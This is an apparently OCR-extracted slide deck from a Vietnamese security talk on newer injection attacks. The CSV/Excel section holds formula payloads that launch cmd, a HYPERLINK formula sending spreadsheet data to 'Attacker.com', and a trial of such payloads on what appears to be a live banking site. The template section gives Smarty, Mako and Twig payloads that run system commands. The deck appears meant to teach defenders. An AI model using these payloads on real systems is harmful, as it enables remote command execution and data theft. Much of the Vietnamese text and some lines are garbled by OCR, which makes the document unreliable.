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About me

iInfosec XXX Injection - B¢
iInjection methods

Ngoén ngt: VI Muac db: Kho

G4mm4 Trum thi phi, VNSecurity

MOt ngueri gitr vai tro cau ndi cla tat ca ¢
Nam va trong khu virc. Dang vé soéi ca k
mo& am va khuat tat anh da lam trong bén

Internet.

Y

#trumthiphi < WTF?



This talk 1S not about

* SQL Injection
e XXE Injection
 LDAP Injection

 XML/Xpath Injection




New trends

« CSV/ Excel Macro injection
* [emplate Injection

* Array Injection

* Object Injection

* NoSQL injection

 ORM injection



CSV Excel Macro
Injection



) @ HackerOne, Inc.

ckerone

CSV Excel Macro Injection

(US) https://hackerone.com/reports/116937 c Q, search B8 9O 3 A © 0 é
About Product ¥ Resources ¥ Pricing Contact Directory Blog
B Vatt (protagon1st) ptin rank | aqmal  percen
Chat History CSV Export Excel Injection Vulnerability Share:
State @ Resolved (Closed) Participants |8

Disclosed publicly  April 5, 2016 4:48am +0700
Reported To Zopim
Type Command Injection

Bounty $100

Collapse

TIMELINE

a prOtagonist submitted a report to Zopim. Feb 17th
| have found a vulnerability in the Chat History export function. If an attacker submits a special name (containing a system command) when
chatting with an agent and that agent later exports the history of that chat to CSV, the resulting CSV may execute commands when opened. |
have tested this using MS Excel 2013 on Windows 7.

Proof of Concept:

1. Open the dashboard as an agent and go to "Visitor List".

2. Select "Simulate Visitor". (This vulnerability works in a real scenario as well, simulating a visitor is just the easiest way to reproduce it).
3. As the simulated visitor, edit your name to "-2+3+cmd|' /C calc'lG2" (without the double quotes).

4. End the chat.



CSV Excel Macro Injection

@ HackerOne, Inc. (US) | https://hackerone.com/reports/124223

‘kerone

About Product ¥ Resources ¥ Pricing Contact

/ stewie
g;

CSV Injection via the CSV export feature

State @ Resolved (Closed)

Disclosed publicly ~ April 25, 2016 5:37pm +0700

Reported To HackerOne
Type Command Injection
Bounty $500

TIMELINE

7 stewie submitted a report to HackerOne.

2003-2013

stewie posted a comment.

-

; in the beggining acts as a new cell separator

c Q| search
Directory Blog
449
Reputation
Participants

Collapse

Rank

~

b

3.93

Signa

wBe 93

90th

Percentile

Share:

o os
Si
24.17 97th
Impact Percentile
Mar 18th

I've bypassed #111192 by using this string ";=cmd|' /C calc'!A0" without doublequotes. Steps to reproduce are as in #111192. Tested in excel

Mar 18th (3 months ago)



CSV Excel Macro Injection

Generic payload:

=cmd’/C calc’lA0

-2+3+cmd|' /C calc'!AO
=HYPERLINK(“https://Attacker.com/evil.html?data="&A1&A2,
"Click to view additional information")



CSV Excel Macro Injection

1. The attacker creates data with a name prefixed
with a = and containing a malicious formula
2. Someone (admin/victim) opens the CSV export and

ignores warnings about the formulas that appear
N the file



CSV Excel Macro Injection

khcn/main#transfer: c Q_ search ﬁ E 0 ‘

cial Joint Stoc... (VN) | https://eban

I
DI Hank

1 1
1 1
1 1
e

A plugin is needed to display this content.

GIOI THIEU KHACH HANG CA NHAN

IONGTINTAIKHOAN @ | Chuyén tidn dén mot tai kh_Bank

HUYEN TIEN e Tai khoan chuyén 010146_ BIiCH d
® Chuyén khoan trong hé théng Théng tin ngwei nhan/don vi nhan (co thé nhap hodc chon tlr danh sach)
DongA Bank T s a .
© Nhap sb tai khoan/sb thé 0101 4_
® Chuyén khoan ngoai hé . . . .
o e e Chon tlr danh sach (néu cd) Chon d
S6 tién chuyén (VND
* Chuydn khoan tir tai khoan yeén (VND) 50,000 2
thé sang TK tiét kiém tich Iy Nam muwoi ngan dong
* Chuy&n khoan ti 1 ngudi Noi dung chuyén tién =cmd["/C ping 8.8.8.8'1'AQ’

dén nhiéu ngudi cé TK thé
DongA Bank

4ANH TOAN HOA BPON

@

S6 ki twcon lai: 23

4ANH TOAN KHOAN VAY (]
JANH TOAN TRUC TUYEN Han mirc giao dich con lai trong ngay 10,000,000
(VND)
UA THE TRA TRUGC X
: Quy khach vui long Iwa chon phwong thire xac thwe bang:
AP TIEN DIEN TU ® ,
O sms Thé Xac Thuc

AY ONLINE @

ANG KY VAY MUC DIiCH KHAC




CSV Excel Macro Injection

mmercial Joint Stoc... (VN) https://ebanking_cn/main#transfer: c Q search ﬁ E O 3 A

THONG TIN TAI KHOAN ® | Xac nhan chuyén tién: Xac thuwc bang SMS
CHUYEN TIEN <]
® Chuyén khoan trong hé théng
_ Tai khoan chuyén 0101_

Chuyén khoan ngoai hé

hén Tai khoan (s6 thé) nhan 0101
m Tén ngwdi nhan/don vi nhan HOA
® Chuyen khoan tw tai khoan Tinh/TP mé tai khoan nhan TP Ho6 Chi Minh

thé sang TK tiét kiém tich Iy

® Chuyén khoan tir 1 ngudi

dén nhidu ngudi co TK thé S5 tién chuyén (VND) 50,000
DongA Bank Phi chuyén tién (VND) 0
Téng tién (VND) 50,000
THANH TOAN HOA BON = Sé tién bang chi® Nim muwoi ngan dong
- N&i dung chuyén tién =cmd|'/C ping 8.8.8.8'I'A0"
THANH TOAN KHOAN VAY ®
THANH TOAN TRU'C TUYEN (Vui ldng tham kh&o thém Biéu phi dich vu chuyén khoan)
MUA THE TRA TRUGC
NAP TIEN BIEN TU ®
i | Tw ddng Iwu tén vao danh sach ngwdi nhan
VAY ONLINE @®
DANG KY VAY MUC BICH KHAC Ma xac thyc P
DANG KY THANH TOAN TV @
DONG
TIEN ICH KHAC @®
THONG TIN TU VAN ®

Céac bwéc thye hién chuyén tién (@) Nhap thong tin 3 (F Xac thyc 03 Thanh céng



CSV Excel Macro Injection

Liét ké giao dich eBanking
Quy khéch vui Iong chon khodng théi gian khéng qué 90 ngay ké Tir ngay... Dén ngay dé tra ciru thdng tin giao dich

Tai khoan 01014_ BiCH ~|
Loai giao dich Chuyén tién dén mot tai khoén-aankj
Tai khoan déi trng

Tl ngay 10/05/2016

Pén ngay 09/06/2016

2

STT Th&i gian giao dich Tai khoan nhan Tén tai khoan Ghi cha S6 tién
1 09/06/2016 00:11:10 01014_ _TH!NH =cmd|/C ping 8.8.8.81'A0’ 50,000
2 08/06/2016 22:03:54 | 01014| NN I THINH | =cmd]/C notepad'IAO 50,000

S6 lwgng giao dich 10 /trang



CSV Excel Macro Injection

File Edit ‘iew Insert Format  Tools  Data  Window  Help Type a question for help - -,
= | @ E  |Arial -0 ~|| B I U |EI==HE|$ ' 5 = i | e v -
SUM X/ & =cmd]/C notepad'A0

E | F G

*H CHUYEN KHOAN CUA TAI KHOAN 0101467109
IGAY 10-05-2016 DPEN NGAY 09-06-2016

Tén tai khoan Ghi chu So tien

#REF!

50,000

.

Microsoft Excel x| 50,000

Remaote data not accessible,
R To access this data Excel needs to start another application. Some legitimate
\l) applications on your computer could be used maliciously to spread viruses or damage

wour computer, Only click Yes if wou krust the source of this workbook and you want o
let the workbook, start the application.
Start application '"CMDLEXE'?

Yes Mo




CSV Excel Macro Injection
Data hijacking

*userdata.csv
Username,Password

John,abcde

Jane,pqrst

"=HYPERLINK("http://localhost/test.html?leak="&A1&B1&A3&B3&A5&B5,"Error:please click for further information")"| dummy



CSV Excel Macro Injection
Data hijacking

B C D
Username lp aaaaaaa d
John abcde
Jane pgrst

Error:please click for further information 'dummy

WIS |EIWIN



CSV Excel Macro Injection

Data hijacking

T -

19 localhost leak=UsernamePasswordJohnabcdeJanepqrst

I have stolen your data!




lemplate Injection



lemplate Injection

Client-side template injection
Server-side template injection




lemplate Injection

<erOne, Inc. (US)  https://hackerone.com/reports/125980?utm_source=h1&utm_medium=kt c 2, Search ﬁ E

tivity Directory Reports Dashboard

% Orange Tsai (orange) 237
Reputation
uber.com may RCE by Flask Jinja2 Template Injection She
State @ Resolved (Closed) Participants (%% (R a2

Disclosed publicly  April 7, 2016 4:15am +0700
Reported To Uber
Type Remote Code Execution

Bounty  $10,000

Collapse

TIMELINE

& orange submitted a report to Uber.
Hi, Uber Security Team

| found an RCE in rider.uber.com.
First, if you change your profile name to {{ '7'*7 }}, and you will receive a mail



Server-Side Template Injection

eeeeeeeeeeeeeeeeeeeeeeeee
template engine for PHP

EEEEEEEEEEEEEE

wpache Velocity Project
> http:llvelocity.apache.orgl



Template Injection

6 localhost/trada/?msg=Error 404

Error 404



Template Injection

Sever-side template injection seems like XSS... But its more
dangerous




Template Injection

Sever-side template injection seems like XSS... But its more
dangerous

€ localhost/trada/?msg={{ c Search B 9O 3 A © O ,’g‘, £ A

Fatal error: Uncaught Twig_Error_Syntax: Unexpected token "end of template" of value "" in "{{" at line 1. in /Applications/XAMPP/xamppfiles/htdocs/trada/Twig/ExpressionParser.php:190
Stack trace: #0 /Applications/XAMPP/xamppfiles/htdocs/trada/Twig/ExpressionParser.php(84): Twig_ExpressionParser->parsePrimaryExpression() #1 /Applications/XAMPP/xamppfiles/htdocs
/trada/Twig/ExpressionParser.php(41): Twig_ExpressionParser->getPrimary() #2 /Applications/XAMPP/xamppfiles/htdocs/trada/Twig/Parser.php(144): Twig_ExpressionParser->parseExpression()
#3 /Applications/ X AMPP/xamppfiles/htdocs/trada/Twig/Parser.php(100): Twig_Parser->subparse(NULL, false) #4 /Applications/X AMPP/xamppfiles/htdocs/trada/Twig/Environment.php(619):
Twig_Parser->parse(Object(Twig_TokenStream)) #5 /Applications/ X AMPP/xamppfiles/htdocs/trada/Twig/Environment.php(671): Twig_Environment->parse(Object(Twig_TokenStream)) #6
/Applications/X AMPP/xamppfiles/htdocs/trada/Twig/Environment.php(396): Twig_Environment->compileSource('{{', '{{") #7 /Applications/XAMPP/xa in /Applications/XAMPP/xamppfiles
/htdocs/trada/Twig/ExpressionParser.php on line 190




Template Injection

<?php

'Twig/Autoloader.php’;
Twig_Autoloader::register();
$twig = new Twig_Environment(new Twig_Loader_String());

$twig-—>render(($_GET['msg']l), array("name"=>"g4mm4"));



Template Injection

Sever-side template injection seems like XSS... But its more
dangerous

& localhost/trada/?msg={{1111*3}}

3333




Template Injection

How to identify template engine”

a{*comment*}b < < Mako

${"z".join("ab")}

{77 <

Not vulnerable




Template Injection

Exploiting unsandboxed template engines

Smarty {php}echo “id ; {/php}

<%
import os

Mako Xx=0s.popen('1d').read()
%>

s{x}




Template Injection

Exploiting sandboxed template engines

TWIG

public function getFilter ($name)

{
[snip]
foreach ($this->filterCallbacks as Scallback) {
if (false !== $filter = call user func($callback, $name)) {
return S$filter;
}
}
return false;
}

public function registerUndefinedFilterCallback(Scallable)
{

}

Sthis->filterCallbacks[] = Scallable;




Template Injection

Exploiting sandboxed template engines

TWIG

{{ self.env.registerUndefinedFilterCallback("exec")}}{{ self.env.getFilter("id")}}

uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)




Array Injection



ORM Injection



NoSal Injection



g4mm4!
your time
S
up!!!
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